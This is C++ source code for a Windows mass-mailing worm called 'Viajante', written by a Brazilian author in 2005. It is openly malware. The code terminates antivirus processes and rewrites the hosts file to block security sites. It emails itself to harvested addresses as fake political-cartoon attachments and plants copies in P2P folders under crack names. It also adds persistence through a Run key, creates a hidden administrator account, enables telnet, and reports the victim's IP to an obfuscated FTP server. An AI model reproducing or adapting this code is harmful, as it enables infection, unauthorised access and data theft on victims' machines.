Viajante
by [01100001]
/*
Name: Viajante
Author: [01100001] - Brazil
Date: 13/12/2005
Language: C++
*/

#include <Filectrl.hpp> //para fechar processos
#include <stdio.h>
#include <dos.h>
#include <string.h>
#include <stdlib.h>
#include <tlhelp32.h>   //para fechar processos
#include <dir.h>        //para pesquisar arquivos        
#include <io.h>
#include <windows.h>
#include "C:\\Arquivos de programas\\Borland\\CBuilder6\\Include\\Vcl\\shellapi.hpp"
#include <mapi.h>
#include <winsock.h>



#define INFORMACAO name: Viajante Author: [01100001] - Brazil

        void Bloquear_Dominios();

        char dir_sys_win[100],dir_win[100];     //Dir SYSTEM32 E WINDOWS

        String ip_net;                          //IP Internet
        String ip_anterior;                     //   ||        


        char login_desencriptado[21] = {0};     //encriptados
        char senha_desencriptada[19] = {0};     //   ||


        char login[21] = {99,51,35,114,82,64,20,2,76,70,78,0,73,18,91,5,93,70,84,108,59};
        char senha[21] = {102,33,53,115,82,77,18,30,68,2,8,23,74,18,95,16,86,63,59,97,49};


        char chave[21] = "ESTACIO_MERDA";                                   //chaves de encriptacao
        char chave_dupla[30] = "s32a1s23d132as1d321a1d3a1s32d1";            //         ||   



        char *arq_ftp;                          //arquivo a ser enviado(ftp)



        //Funcoes Rede
       // void Varre_Driver();
       // void Arq_Compartilhados( char *Driver, int tipo);

        //Funcoes EMail
        int Valida_EMail(char *endereco);

        void Bloquear_Dominios();

        //Vars EMail
        char *ptrEgo, *buf;
        char Lista_Enderecos[50][128];


        AnsiString ANEXOS[3] = {"Palocci_x_Lula.exe",
                        "Lula_FOME_0.exe",
                        "Lula_Mendigo.exe"};

        AnsiString ATTACHS[3] = {"Colloquy_funny_Bush_KimII_Sung.exe",
                          "frightful negotiation.exe",
                          "Animation_Flash_colloquy.exe"};



        char *arquivos =  __argv[0];                            //busca o arquivo a ser anexado, no caso o que esta sendo executado//se espalhar pelas unidades


        WIN32_FIND_DATA FileData;     //Data arquivo

        OSVERSIONINFO OsVer;          //Versao Windows


        //var SOCKET
        WSAData wsa;                     //inicia SOCKET


void Auto_Copiar()
{

        String arquivo_origem = __argv[ 0 ];                           //Busca caminho completo executado

        GetSystemDirectory((char *)dir_sys_win,100);                    //busca dir do SYSTEM32 do Windows

        strcat(dir_sys_win,"\\tasklists.exe");     //C:\\%WINDIR%\\SYSTEM32\\tasklists.exe


        CopyFile(arquivo_origem.c_str(),dir_sys_win,false);     //se auto copia para SYSTEM32

        SetFileAttributes( dir_sys_win,FILE_ATTRIBUTE_HIDDEN);  //seta atributos para oculto

}


void Escreve_Registro()          //Funcao tratamento no registro
{

        HKEY chave;

        GetSystemDirectory((char *)dir_sys_win,100);                   //%WINDIR%//SYSTEM32 do Windows

        strcat(dir_sys_win,"\\tasklists.exe");                        //C:\\%WINDIR%\\SYSTEM32\\tasklists.exe

        RegCreateKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", NULL, NULL, NULL, KEY_ALL_ACCESS, NULL, &chave, NULL);           //Cria Chave

        RegSetValueEx(chave,"Tasklists", 0, REG_SZ, (const BYTE*)dir_sys_win, sizeof(dir_sys_win));                                                                            //Seta valores para chave

        RegCloseKey(chave);


}


void Para_AV(char *AV)
{

        HANDLE proc_id;                                                    //ID do processo
        HANDLE hSnapShot=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);   //Pega as heaps, modules, and threads do processo
        PROCESSENTRY32 processInfo;                                        //Lista para pegar numeros processos (modulo,tamanho,thread do determinado processo)

        do
        {
                if (strcmp(processInfo.szExeFile,AV)==0)   //compara se nome do processo é processo procurado
                {

                        proc_id = OpenProcess(PROCESS_TERMINATE,false,processInfo.th32ProcessID);   //abre o processo para termina-lo com a respectiva ID

                        if (proc_id != NULL)                             //Veirifica se achou mesmo
                        {
                                TerminateProcess(proc_id,0);             //termina o processo
                                CloseHandle(proc_id);                    //fecha o handle para esse processo

                        }

                }

       }

        while(Process32Next(hSnapShot,&processInfo) != false);          //enquanto nao acabar os processos ficar procurando

}


void Payloads()
{

        //var telnet e usuario
        HKEY chave;
        DWORD valor = 2;
        LONG  resultado;


        FILE *protesto;
        String msg_br = "UNIVERSIDADE ESTÁCIO DE SÁ - Brasil)\n\nVAI TOMAR NO CU E SE FODER OTÁRIOS, ODEIO VOCÊS\n... HAHAHA\n\n";
        String msg_us = "UNIVERSITY ESTÁCIO DE SÁ - Brazil)\n\nFUCK ITS SUCKERS, I HATE YOU... LOL";


        if( OsVer.dwPlatformId == 2 )    //É NT,2000,XP ou 2003 abrir telnet e adicionar usuario
        {

                resultado = RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SYSTEM\\CurrentControlSet\\Services\\TlntSvr",0,KEY_ALL_ACCESS,&chave);     //Abre chave

                if( resultado == ERROR_SUCCESS )                                                                                         	//Verifica se achou
                {
                        RegSetValueEx(chave,"Start",0,REG_DWORD,(BYTE*)&valor,sizeof(valor));                                           			//Seta servico(telnet) para habilitado
                }

                RegCloseKey(chave);


                if( GetSystemDefaultLangID() == 0x0416 )               //Verifica se é Brasil
                {
                        GetSystemDirectory((char *)dir_sys_win,100);                    //busca dir do SYSTEM32 do Windows

                        WinExec(strcat(dir_sys_win,"\\net.exe user support viajante /add"),SW_HIDE);                    //adicionar user

                        GetSystemDirectory((char *)dir_sys_win,100);                                                    //limpa

                        WinExec(strcat(dir_sys_win,"\\net.exe localgroup Administradores support /add"),SW_HIDE);      //seta usuario para grupo ADM


                }
                else                                                    //outros paises
                {

                        GetSystemDirectory((char *)dir_sys_win,100);

                        WinExec(strcat(dir_sys_win,"\\net.exe user support viajante /add"),SW_HIDE);

                        GetSystemDirectory((char *)dir_sys_win,100);

                        WinExec(strcat(dir_sys_win,"\\net.exe localgroup Administrators support /add"),SW_HIDE);


                }

       }


       if( GetSystemDefaultLangID() == 0x0416 ) //Brasil ?
        {

                if( OsVer.dwPlatformId == 2 )     //É NT,2000,XP ou 2003
                {

                        if( (DirectoryExists("C:\\Documents and Settings\\All Users\\Desktop") == true) || (DirectoryExists("D:\\Documents and Settings\\All Users\\Desktop")) )
                        {
                                protesto = fopen("C:\\Documents and Settings\\All Users\\Desktop\\Protesto!!!.txt","w");

                                if( protesto != NULL )
                                {
                                        fputs(msg_br.c_str(),protesto);
                                }

                                fclose(protesto);

                        }

                      Bloquear_Dominios();

                }
                else
                {
                        if( (DirectoryExists("C:\\WINDOWS\\Desktop") == true) || (DirectoryExists("D:\\WINDOWS\\Desktop") == true) )
                        {
                                protesto = fopen("C:\\WINDOWS\\Desktop\\Protesto!!!.txt","w");

                                if( protesto != NULL )
                                {
                                        fputs(msg_br.c_str(),protesto);
                                }

                                fclose(protesto);
                        }

                }

         }
         else      //caso seja gringo
         {

                if( OsVer.dwPlatformId == 2 )     //É NT,2000,XP ou 2003
                {

                        if( (DirectoryExists("C:\\Documents and Settings\\All Users\\Desktop") == true) || (DirectoryExists("D:\\Documents and Settings\\All Users\\Desktop")) )
                        {
                                protesto = fopen("C:\\Documents and Settings\\All Users\\Desktop\\Protest!!!.txt","w");

                                if( protesto != NULL )
                                {
                                        fputs(msg_us.c_str(),protesto);
                                }

                                fclose(protesto);

                        }
                }
                else
                {
                        if( (DirectoryExists("C:\\WINDOWS\\Desktop") == true) || (DirectoryExists("D:\\WINDOWS\\Desktop") == true) )
                        {
                                protesto = fopen("C:\\WINDOWS\\Desktop\\Protest!!!.txt","w");

                                if( protesto != NULL )
                                {
                                        fputs(msg_us.c_str(),protesto);
                                }

                                fclose(protesto);
                        }

                }



         }
         
}



void P2P()
{

        String Arquivos[6] =                                  //possiveis nomes para se espalhar
        {"\\SerialKey_Counter-Striker_CZ.exe",
        "\\Crack_Norton2005.exe",
        "\\Crack_Microsoft-Office_XP.exe",
        "\\Crack_Doom3.exe",
        "\\Crack_Windows_Vista.exe",
        "\\Crack_GTA_SanAndreas.exe"};

        int i;

        String origem = __argv[ 0 ];                    //dir atual do arquivo
        String  dirp2p,nomep2p;



        for(i = 0; i <= 6;i++)                          //Loop para criacao dos arquivos
        {

                if( (DirectoryExists("C:\\Arquivos de programas\\Shareaza\\") == true ) || (DirectoryExists("C:\\Program Files\\Shareaza\\") == true) )
                {

                        dirp2p = "C:\\Arquivos de programas\\Shareaza\\Downloads\\1.exe";                                       //dir destino do p2p
                        nomep2p = "C:\\Arquivos de programas\\Shareaza\\Downloads" + Arquivos[i];                               //dir + nome do arquivo criado


                        CopyFile(origem.c_str(),dirp2p.c_str(),false);                                                                  //copia para dir do p2p

                        RenameFile(dirp2p.c_str(),nomep2p);                                                                             //renomeia o arquivo para compartilhar

                        DeleteFile(dirp2p);                                                                                             //deleta o programa original no dir do p2p

                        SetFileAttributes(nomep2p.c_str(),FILE_ATTRIBUTE_HIDDEN);                                //oculto o arquivo criado


                        dirp2p = NULL;                                                                                                   //0 variaveis
                        nomep2p = NULL;
                        dirp2p = "C:\\Program Files\\Shareaza\\Downloads\\1.exe";                                               // prepara caso o SO seja em ingles
                        nomep2p = "C:\\Program Files\\Shareaza\\Downloads" + Arquivos[i];                                              //
                                                                                                                                       //
                        CopyFile(origem.c_str(),dirp2p.c_str(),false);                                                                 //
                                                                                                                                       //
                        RenameFile(dirp2p.c_str(),nomep2p);                                                                            //
                                                                                                                                       //
                        DeleteFile(dirp2p);

                        SetFileAttributes(nomep2p.c_str(),FILE_ATTRIBUTE_HIDDEN);                                                                                            //
                                                                                                                                       //
                }                                                                                                                      //

                if( (DirectoryExists("C:\\Arquivos de programas\\eMule\\") == true ) || (DirectoryExists("C:\\Program Files\\eMule\\") == true ) )
                {


                        dirp2p = NULL;                                                                                                 //0 variaveis
                        nomep2p = NULL;
                        dirp2p = "C:\\Arquivos de programas\\eMule\\\Incoming\\2.exe";
                        nomep2p = "C:\\Arquivos de programas\\eMule\\\Incoming" + Arquivos[i];


                        CopyFile(origem.c_str(),dirp2p.c_str(),false);

                        RenameFile(dirp2p.c_str(),nomep2p);

                        DeleteFile(dirp2p);


                        SetFileAttributes(nomep2p.c_str(),FILE_ATTRIBUTE_HIDDEN);


                        dirp2p = NULL;
                        nomep2p = NULL;
                        dirp2p = "C:\\Program Files\\eMule\\\Incoming\\2.exe";
                        nomep2p = "C:\\Program Files\\eMule\\\Incoming" + Arquivos[i];

                        CopyFile(origem.c_str(),dirp2p.c_str(),false);

                        RenameFile(dirp2p.c_str(),nomep2p);

                        DeleteFile(dirp2p);


                        SetFileAttributes(nomep2p.c_str(),FILE_ATTRIBUTE_HIDDEN);

                }

                if( (DirectoryExists("C:\\Arquivos de programas\\Kazaa Lite K++\\") == true ) || (DirectoryExists("C:\\Program Files\\Kazaa Lite K++\\") == true)
                    || (DirectoryExists("C:\\Arquivos de programas\\Kazaa Lite Resurrection\\") == true ) || (DirectoryExists("C:\\Program Files\\Kazaa Lite Resurrection\\") == true) )
                {


                        dirp2p = NULL;                                                                                                   //0 variaveis
                        nomep2p = NULL;
                        dirp2p = "C:\\My Shared Folder\\3.exe";
                        nomep2p = "C:\\My Shared Folder" + Arquivos[i];


                        CopyFile(origem.c_str(),dirp2p.c_str(),false);

                        RenameFile(dirp2p.c_str(),nomep2p);

                        DeleteFile(dirp2p);


                        SetFileAttributes(nomep2p.c_str(),FILE_ATTRIBUTE_HIDDEN);

                }


                if( (DirectoryExists("C:\\Arquivos de programas\\KaZaA\\My Shared Folder\\") == true) || (DirectoryExists("C:\\Program files\\KaZaA\\My Shared Folder") == true)  )
                {


                        dirp2p = NULL;                                                                                                   //0 variaveis
                        nomep2p = NULL;
                        dirp2p = "C:\\Arquivos de programas\\KaZaA\\My Shared Folder\\4.exe";
                        nomep2p = "C:\\Arquivos de programas\\KaZaA\\My Shared Folder" + Arquivos[i];


                        CopyFile(origem.c_str(),dirp2p.c_str(),false);

                        RenameFile(dirp2p.c_str(),nomep2p);

                        DeleteFile(dirp2p);


                        SetFileAttributes(nomep2p.c_str(),FILE_ATTRIBUTE_HIDDEN);


                        dirp2p = NULL;
                        nomep2p = NULL;
                        dirp2p = "C:\\Program Files\\KaZaA\\My Shared Folder\\4.exe";
                        nomep2p = "C:\\Program Files\\KaZaA\\My Shared Folder\\" + Arquivos[i];

                        CopyFile(origem.c_str(),dirp2p.c_str(),false);

                        RenameFile(dirp2p.c_str(),nomep2p);

                        DeleteFile(dirp2p);


                        SetFileAttributes(nomep2p.c_str(),FILE_ATTRIBUTE_HIDDEN);



                }


        }

                SetFileAttributes(__argv[ 0 ],FILE_ATTRIBUTE_NORMAL);           //Seta o executavel para Normal
}

int Outlook()
{

        HINSTANCE hi;
        LPMAPILOGON MAPILogon;
        LPMAPIFINDNEXT MAPIFindNext;
        LPMAPIREADMAIL MAPIReadMail;
        LPMAPISENDMAIL MAPISendMail;
        LPMAPILOGOFF MAPILogoff;
        LHANDLE Sessao;
        CHAR rgchMsgID[513];
        MapiMessage *Mensagem;
        int i=0;
       

        SYSTEMTIME systime;                     //Var para dias da semana
        GetSystemTime(&systime);                //para buscar o dia corrente(hoje)
        FILE *lista;
        char emails[1000];

       
        hi = LoadLibrary( "mapi32.dll" );               //Carrega dll na memoria

        if( hi == NULL )                               //senao carregou a dll
        {
                return -1;
        }

        MAPILogon = (LPMAPILOGON)GetProcAddress( hi, "MAPILogon");                   //pega enderecos das APIs MAPI
        MAPIFindNext = (LPMAPIFINDNEXT)GetProcAddress( hi, "MAPIFindNext");
        MAPIReadMail = (LPMAPIREADMAIL)GetProcAddress( hi, "MAPIReadMail");
        MAPISendMail = (LPMAPISENDMAIL)GetProcAddress( hi, "MAPISendMail");
        MAPILogoff = (LPMAPILOGOFF)GetProcAddress( hi,"MAPILogoff");

        if( MAPILogon == NULL || MAPIFindNext == NULL || MAPIReadMail == NULL || MAPISendMail == NULL )   //Verifica se achou msg e se esta tudo OK
        {
                return -1;
        }



        if( MAPILogon( 0, NULL, NULL, 0, 0, &Sessao) == SUCCESS_SUCCESS)               //Se conseguiu logar
        {
                *rgchMsgID = NULL;


                  while( i < 50 )                    //Varre em busca de msg recebidas
                  {
                         if( MAPIFindNext( Sessao, 0L, NULL, rgchMsgID, MAPI_LONG_MSGID, 0L, rgchMsgID) != SUCCESS_SUCCESS)   //proxima msg
                         {
                                 break;
                         }

                         if( MAPIReadMail( Sessao, 0L, rgchMsgID, MAPI_PEEK, 0L, &Mensagem) == SUCCESS_SUCCESS)                 //le o email destino para host
                         {

                                if( Valida_EMail( Mensagem->lpOriginator->lpszAddress) == 0 )                                  //verifica se achou a msg mesmo
                                {
                                        strcpy( Lista_Enderecos[i], Mensagem->lpOriginator->lpszAddress);                       //concatena a lista de email para a lista_enderecos[i]
                                        i++;
                                }

                         }



                  }

                  MAPIFreeBuffer( Mensagem );                     //limpa o buffer da leitura

                  int recipNum = i;


                  MapiRecipDesc *recip  = (MapiRecipDesc *)malloc( recipNum*sizeof(MapiRecipDesc) );     //corpo da msg


                  for( int i=0 ; i<recipNum ; i++ )                        //montando a msg email origem, email dest...
                  {
                        recip[i].ulReserved   = 0;
                        recip[i].ulRecipClass = MAPI_TO;
                        recip[i].lpszName     = Lista_Enderecos[i];
                        recip[i].lpszAddress  = Lista_Enderecos[i];
                        recip[i].ulEIDSize    = 0;
                        recip[i].lpEntryID    = NULL;
                  }


                  if( GetSystemDefaultLangID() == 0x0416 )               //Verifica se é Brasil
                  {

                        if ( (systime.wDayOfWeek == 0) || (systime.wDayOfWeek == 1) )   //caso seja domingo ou segunda
                        {

                                MapiFileDesc arq_anexado = { 0, 0, (ULONG)-1, arquivos , ANEXOS[0].c_str() , NULL};      //anexa o arq


                                MapiMessage corpo_msg = { 0, "Charge Palocci x Lula","Ola tudo bem? Estou te enviando uma charge que recebi de um amigo da CPI que envolve o Palocci e o Lula discutindo, Abraços.", NULL, NULL, NULL, 0, NULL, recipNum, recip, 1, &arq_anexado};      //corpo da msg em si


                                if( MAPISendMail( Sessao, 0L, &corpo_msg, 0L, 0L) != SUCCESS_SUCCESS )     //envia o email
                                {
                                        return -1;
                                }

                        }


                        if( (systime.wDayOfWeek == 2) || (systime.wDayOfWeek == 3) )    //caso seja terca ou quarta
                        {
                                MapiFileDesc arq_anexado = { 0, 0, (ULONG)-1, arquivos , ANEXOS[1].c_str() , NULL};


                                MapiMessage corpo_msg = { 0, "Lula no FOME 0... morri de rir", "Ola tudo bem? Estou te enviando uma charge em que o o Lula mostra como acabar com a fome no Brasil, muito interessante , Abraços.", NULL, NULL, NULL, 0, NULL, recipNum, recip, 1, &arq_anexado};


                                if( MAPISendMail( Sessao, 0L, &corpo_msg, 0L, 0L) != SUCCESS_SUCCESS )
                                {
                                        return -1;
                                }
                        }


                        if( (systime.wDayOfWeek == 4)  || (systime.wDayOfWeek == 5) || (systime.wDayOfWeek == 6) )  //caso seja quinta,sexta ou sabado
                        {
                                MapiFileDesc arq_anexado = { 0, 0, (ULONG)-1, arquivos , ANEXOS[2].c_str() , NULL};


                                MapiMessage corpo_msg = { 0, "Charge Lula na corda bamba", "Ola tudo bem? Estou te enviando uma charge da situação atual do governo em que o próprio Lula vira mendigo..., Abraços.", NULL, NULL, NULL, 0, NULL, recipNum, recip, 1, &arq_anexado};


                                if( MAPISendMail( Sessao, 0L, &corpo_msg, 0L, 0L) != SUCCESS_SUCCESS )
                                {
                                        return -1;
                                }

                        }


                  }
                  else     //caso seja outro pais
                  {
                        if ( (systime.wDayOfWeek == 0) || (systime.wDayOfWeek == 1) )   //caso seja domingo ou segunda
                        {

                                MapiFileDesc arq_anexado = { 0, 0, (ULONG)-1, arquivos , ATTACHS[0].c_str() , NULL};      //anexa o arq


                                MapiMessage corpo_msg = { 0, "Colloquy funny between Bush e President Korea of the North", "Hey how are you friend? I am sending a animation funny of one colloquy funny negotiation between Bush and Kim II Sung! hugs friend.", NULL, NULL, NULL, 0, NULL, recipNum, recip, 1, &arq_anexado};      //corpo da msg em si


                                if( MAPISendMail( Sessao, 0L, &corpo_msg, 0L, 0L) != SUCCESS_SUCCESS )     //envia o email
                                {
                                        return -1;
                                }

                        }


                        if ( (systime.wDayOfWeek == 2) || (systime.wDayOfWeek == 3) )   //caso seja terca ou quarta
                        {

                                MapiFileDesc arq_anexado = { 0, 0, (ULONG)-1, arquivos , ATTACHS[1].c_str() , NULL};      //anexa o arq


                                MapiMessage corpo_msg = { 0, "War beetwen Korea of the North and EUA", "Hey how are you friend? Hey how are you friend? Hi, it sees stretch of this frightful negotiation! hugs friend.", NULL, NULL, NULL, 0, NULL, recipNum, recip, 1, &arq_anexado};      //corpo da msg em si


                                if( MAPISendMail( Sessao, 0L, &corpo_msg, 0L, 0L) != SUCCESS_SUCCESS )     //envia o email
                                {
                                        return -1;
                                }

                        }

                        if ( (systime.wDayOfWeek == 4) || (systime.wDayOfWeek == 5) || (systime.wDayOfWeek == 6) )   //caso seja quinta, sexta ou sabado
                        {

                                MapiFileDesc arq_anexado = { 0, 0, (ULONG)-1, arquivos , ATTACHS[2].c_str() , NULL};      //anexa o arq


                                MapiMessage corpo_msg = { 0, "Animation Colloquy Bush and Kim II Sung ", "Hey how are you friend? Hi, I received this animation in flash from a colloquy between Bush and Kim II-Sung(President Korea of the north),I wait that it likes! hugs friend.", NULL, NULL, NULL, 0, NULL, recipNum, recip, 1, &arq_anexado};      //corpo da msg em si


                                if( MAPISendMail( Sessao, 0L, &corpo_msg, 0L, 0L) != SUCCESS_SUCCESS )     //envia o email
                                {
                                        return -1;
                                }


                        }


                  }


                  free( recip );      //retira da memoria o corpo da msg montada


                 MAPILogoff( Sessao, 0L, 0L, 0L);              //efetua logoff do MAPI

        }

                return 0;

}


int Valida_EMail(char *endereco)
{

        if( strlen( endereco ) >= 128 || strlen( endereco ) == 0)
        {
                return -1;
        }
        else
        {
                if( strchr( endereco , '@') == NULL )
                {
                        return -1;
                }
                else
                {
                        if( strchr( endereco , '.') == NULL )
                        {
                                return -1;
                        }
                        else
                        {
                                return 0;
                        }

                }

        }

}



void ftp()
{

        FILE *IP;

        SOCKADDR_IN ServerFTP;
        SOCKET Socket;


        char servidor_encriptado[17] = {80,20,22,14,19,84,26,9,69,18,8,4,69,93,82,11,94};

        char servidor_desencriptado[17] = {0};


        //decripta
        for(int i = 0; i < 17; i++)
        {
              servidor_desencriptado[i] = chave_dupla[i] ^ chave[i] ^ servidor_encriptado[i];
        }



        int Retorno;                                            // Armazena o retorno

        if((IP=fopen(dir_sys_win,"wt")) != NULL)                    //verificacao na criacao do arq
        {

                fprintf(IP,"%s","viajante...rs");                   //escreve
                fclose(IP);

                SetFileAttributes(dir_sys_win,FILE_ATTRIBUTE_HIDDEN);   //seta como oculto


                WSAStartup(0x101, &wsa);        //inicia a biblioteca socket


                ServerFTP.sin_family = AF_INET;                              //protocolo padrao
                ServerFTP.sin_port = htons(21);                              //porta

                hostent *Host=gethostbyname(servidor_desencriptado);         //busca endereco(ftp.angelfire.com)

                ServerFTP.sin_addr.s_addr = *((unsigned long *) Host->h_addr);      //endereco a IP a conectar


                Socket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);          //cria socket


                Retorno = connect(Socket,(sockaddr *)&ServerFTP,sizeof(ServerFTP));    //conecta ao servidor


                if( Retorno == 0 )                                      //verifica se conectou
                {

                        send(Socket,login_desencriptado,strlen(login_desencriptado),0);     //user

                        send(Socket,senha_desencriptada,strlen(senha_desencriptada),0);      //password

                        send(Socket,"PASV\r\n",strlen("PASV\r\n"),0);                //modo passivo

                        send(Socket,"TYPE A\r\n",strlen("TYPE A\r\n"),0);           //para arquivos ASCII

                        send(Socket,arq_ftp,strlen(arq_ftp),0);                     //envia  o arquivo

                        send(Socket,"QUIT\r\n",strlen("QUIT\r\n"),0);               //fechar conexao
                 
                }


                closesocket(Socket);                                                         //fecha socket

                WSACleanup();                                                                  //destroi socket

                DeleteFile(dir_sys_win);                                                        //apaga para nao deixar lixo no system32


        }



}

/*
void Varre_Driver()
{
        int tamanho;
        char buff[128];
        char *ptr;

        ptr = buff;
        tamanho = GetLogicalDriveStrings( 128, ptr);            //Busca os drivers presentes


        if( (tamanho > 0) && (tamanho < 128) )
        {
            for( int i=0 ; i<= 25 ; i++ )                       //varre por 25 drivers
            {
                    switch( GetDriveType( ptr ) )                 //procura se o driver é local ou remoto
                    {

                        case DRIVE_FIXED:
                        Arq_Compartilhados(ptr,1);
                        break;

                        case DRIVE_REMOTE:                          //driver remoto
                                Arq_Compartilhados( ptr,1 );
                        break;

                        default:
                        break;
                    }                                           //Aponta para o proximo driver
                *ptr+=1;
            }
        }

      return;
}

void Arq_Compartilhados( char *Driver, int tipo)
{
        FILE *ArqAutorun;
        char buff[128];

        if( tipo == 1)                                          //caso o driver seja local
        {
                sprintf(buff,"%s%s",Driver,"viajante.exe");
        }
        else
        {                                                              //seja remoto
                sprintf(buff,"%s\\%s", Driver,"viajante.exe");
        }

        if( CopyFile( arquivos, buff, FALSE) == TRUE && tipo == 1 )                 //auto copiar para a unidade
        {

                 _rtl_chmod(buff, 1, FA_HIDDEN | FA_RDONLY);                         //oculta arquivo de auto copia

                 sprintf( buff, "%sAutorun.inf", Driver);                            //cria arquivo *.inf

                 ArqAutorun = fopen(buff, "w");                                      //Abre para escrever

                   if( ArqAutorun != NULL )
                   {

                        fprintf( ArqAutorun, "[Autorun]\nOPEN=%s\n","viajante.exe");           //escreve no *.inf
                        fclose( ArqAutorun );
                        _rtl_chmod(buff, 1, FA_HIDDEN | FA_RDONLY);                           //oculta *.inf

                   }


       }

        return;
} */


void Bloquear_Dominios()
{

    char *sites[] =
    {
    "www.antivirus.com",
    "www.claymania.com",
    "www.free-av.com",
    "www.bitdefender.com",
    "www.commandcom.com",
    "www.dials.ru",
    "www1.my-etrust.com",
    "www.f-prot.com",
    "www.avg.com.br",
    "www.avg.com",
    "www.avast.com",
    "www.f-secure.com",
    "www.grisoft.com",
    "antivirus.cai.com",
    "www.avp.ru",
    "www.nai.com",
    "www.nod32.com.au",
    "www.norman.com",
    "www.symantec.com",
    "www.symantec.com.br",
    "www.pandasoftware.com",
    "www.pandasoftware.com.br",
    "www.pandasoftware.es",
    "www.sophos.com",
    "www.trend.com",
    "www.commandondemand.com",
    "www.dialognauka.ru",
    "www.veloz.com",
    "support.ikarus.at",
    "www.kaspersky.com",
    "www.hauri.net",
    "antivirus.mafia.ru",
    "www.mcafee.com",
    "www.mcafee.com.br",
    "www.webimmune.net",
    "www.pandasoftware.com",
    "www.pcpitstop.com",
    "www.ravantivirus.com",
    "security1.norton.com",
    "housecall.antivirus.com",
    "www.freedom.net",
    "www.invircible.com",
    "www.orkut.com",
    "www.google.com",
    "www.google.com.br"
    };

    char str[MAX_PATH];
    FILE *hosts;


    if( OsVer.dwPlatformId == 2 )   //caso seja NT/2000/XP/2003
    {

        GetSystemDirectory((char *)dir_sys_win,100);     //%WINDIR%/System32

        strcat(dir_sys_win,"\\drivers\\etc\\hosts");

        hosts = fopen(dir_sys_win , "w");

        if( hosts != NULL )
        {
                fputs("127.0.0.1 localhost\n", hosts);

                for (int n = 0; n <= 45; n++)
                {
                        wsprintf(str, "0.0.0.0 %s\n", sites[n]);      //Preenche o arquivos com a lista de sites com IPS 0s
                        fputs(str, hosts);
                }

                fclose(hosts);
        }




    }
    else
    {

        GetWindowsDirectory((char *)dir_win,100);

        strcat(dir_win,"\\hosts");

        hosts = fopen(dir_win,"w");

        if( hosts != NULL )
        {
                fputs("127.0.0.1 localhost\n", hosts);

                for (int n = 0; n <= 42; n++)
                {
                        wsprintf(str, "0.0.0.0 %s\n", sites[n]);
                        fputs(str, hosts);
                }

                fclose(hosts);
        }


     }

}


WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int)        //funcao de janelas WIN32 GUI(para esconder aplicacao)
{

                //var SOCKET
                hostent *IP;
                char nome[256];

                String ip_anterior;

                OsVer.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);          //Obter tamanho da estrutura
                GetVersionEx(&OsVer);                                       //chama funcao


              //          Sleep(20000);                                           //Dorme 15s para espera do carregamento dos AVs.. hehehe

                        Para_AV("avgcc.exe");
                        Para_AV("navapw.exe");
                        Para_AV("navapw32.exe");
                        Para_AV("navapsvc.exe");
                        Para_AV("scan32.exe");
                        Para_AV("VPTray.exe");
                        Para_AV("ashwebsv.exe");
                        Para_AV("avp32.exe");
                        Para_AV("avpcc.exe");
                        Para_AV("avpm.exe");
                        Para_AV("Zonealarm.exe");
                        Para_AV("Wfindv32.exe");
                        Para_AV("Webscanx.exe");
                        Para_AV("Pccwin98.exe");
                        Para_AV("Pavw.exe");
                        Para_AV("Pavsched.exe");
                        Para_AV("Pavcl.exe");
                        Para_AV("Padmin.exe");
                        Para_AV("kav.exe");
                        Para_AV("kavsvc.exe");

                     //      Escreve_Registro();

                     //      Auto_Copiar();

                     //      Payloads();

                    //       P2P();

                           Outlook();

                       //    Varre_Driver();


                //decripta

                for(int i = 0; i < 21; i++)
                {
                        login_desencriptado[i] = chave_dupla[i] ^ chave[i] ^ login[i];

                }

                for(int i = 0 ; i < 19; i++)
                {
                        senha_desencriptada[i] = chave_dupla[i] ^ chave[i] ^ senha[i];

                }


                if( (FileExists("C:\\WINDOWS\\viajante.exe") != true) || (FileExists("D:\\WINDOWS\\viajante.exe") != true) )
                {

                        if( OsVer.dwPlatformId == 1 )         //Verifica se é win 9X e ME
                        {
                                RenameFile("C:\\WINDOWS\\regedit.exe","C:\\WINDOWS\\viajante.exe");      //para nao editar mais o registro...rs

                                RenameFile("D:\\WINDOWS\\regedit.exe","D:\\WINDOWS\\viajante.exe");
                        }

                }



                for(;;)                 //loop infinito sempre varrendo em busca do IP na net
                {


                        Sleep(300000);      //dorme por 5 minutos


                        WSAStartup(0x101, &wsa);          // inicia winsock

                        gethostname(nome,sizeof(nome));   // nome do PC
                        IP = gethostbyname(nome);         // atribui a variavel

                        for (int i=0;IP->h_addr_list[i];i++)                        // IP da internet
                        {
                                ip_net = inet_ntoa(*((in_addr *)IP->h_addr_list[i]));
                        }

                        WSACleanup();       // Fecha winsock


                        if(ip_net != "127.0.0.1" && ip_net != ip_anterior)      //mandar e-email caso o IP seja diferente e ligado a NET
                        {
                                ip_anterior = ip_net;                           //colocar novo IP num vartmp


                                GetSystemDirectory((char *)dir_sys_win,100);                  //busca %WINDIR/SYSTEM32


                                strcat(dir_sys_win,"\\");                                     //concatena  %WINDIR/SYSTEM32 '//'

                                strcat(dir_sys_win,ip_net.c_str());                          //da nome ao arquivo(IP)

                                strcat(dir_sys_win,".txt");                                  //seta extensao .txt

                                DeleteFile(dir_sys_win);                                     //deleta para recriar



                                strcat(ip_anterior.c_str(),".txt\r\n");              //seta extensao para o arquivo a ser enviado

                                arq_ftp = strcat("STOR ",ip_anterior.c_str());       //caminho completo do arquivo a ser enviado

                                ftp();

                        }


              }


}